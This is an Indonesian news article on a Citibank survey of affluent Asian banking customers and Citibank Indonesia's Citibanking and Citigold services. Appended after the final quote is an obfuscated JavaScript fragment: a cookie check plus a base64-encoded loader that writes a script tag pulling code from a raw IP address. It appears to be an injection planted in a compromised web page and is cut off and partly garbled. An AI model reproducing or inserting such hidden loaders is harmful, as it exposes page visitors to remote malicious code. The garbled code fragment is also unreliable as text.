Data yang dirangkum Citibank melalui Emerging Affluent Survey terhadap 8.000 orang di enam negara Asia (Hong Kong, Singapura, India, Indonesia, Taiwan and Korea) menemukan empat tren baru di kalangan nasabah emerging affluent (kelas menengah) dan affluent (kelas atas) dalam memenuhi kebutuhan perbankan.
Citibanking hadir untuk menjawab kebutuhan nasabah kelas menengah dan nasabah kelas atas di Indonesia yang memiliki tuntutan gaya hidup dan membutuhkan perencanaan finansial yang lebih menyeluruh.
Pertama, nasabah yang sangat sibuk, mengharapkan kenyamanan dari bank (80%), dan berharap kegiatan operasional bank diperpanjang (66%). Kedua, nasabah yang terus mengadopsi teknologi baru (68%) dan mencari layanan perbankan digital terbaik (76%).
Ketiga, nasabah yang mencari layanan yang memberikan nasihat finansial secara proaktif dan berkualitas (68%), dan nasabah yang menginginkan bank untuk membantunya merencanakan masa depan (66%). Terakhir, nasabah yang semakin global, diantaranya yang sering melakukan perjalanan ke luar negeri (54%) dan yang menginginkan akses atas dana tunai dimanapun di seluruh dunia.
Seperti yang dikutip dari analisa Boston Consulting Group mengenai meningkatnya masyarakat kelas menengah dan atas di Indonesia pada bulan Maret 2013; dikatakan bahwa seiring dengan cepatnya pertumbuhan ekonomi Indonesia, maka populasi masyarakat yang memasuki kelas menengah dan kelas atas juga semakin meningkat. Sekitar 8 hingga 9 juta orang memasuki kategori tersebut setiap tahunnya.
Melihat pertumbuhan yang cepat pada kategori masyarakat tersebut—dimana tuntutan atas kebutuhan gaya hidup dan kebutuhan perencanaan finansial yang lebih holistik menjadi salah satu prioritas kelompok masyarakat ini—, Citibank Indonesia menjawab kebutuhan kelompok masyarakat menengah melalui layanan Citibanking. Setelah meluncurkan kartu kredit berbasis kebutuhan (PremierMiles, Cashback dan Reward), Citibank kembali menyajikan rangkaian layanan khusus baik bagi segmen nasabah ini.
“Kami menyadari bahwa nasabah menginginkan layanan keuangan yang lebih efisien dan mampu menyediakan informasi investasi yang komprehensif, serta memiliki akses global,” ungkap Rustini Dewi, Retail Bank Head Citibank Indonesia.
Sementara, demi memperkuat basis nasabah prioritas Citigold, Citi Indonesia menggelar seminar Citigold Market Outlook 2014, Rabu (19/2) di Jakarta. Seminar dengan tema Transitioning to Growth ini merupakan salah satu bentuk wealth advisory Citi Indonesia kepada nasabah prioritas-nya terkait informasi terkini dari analis pasar dan ekonomi.
“Oleh karena itu di tahun 2014 ini Citibank Indonesia memperkuat layanan Citigold dengan fokus pada tiga pilar utama yang dapat menjawab kebutuhan nasabah dalam kategori affluent (kelas atas),” ujar Rustini. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)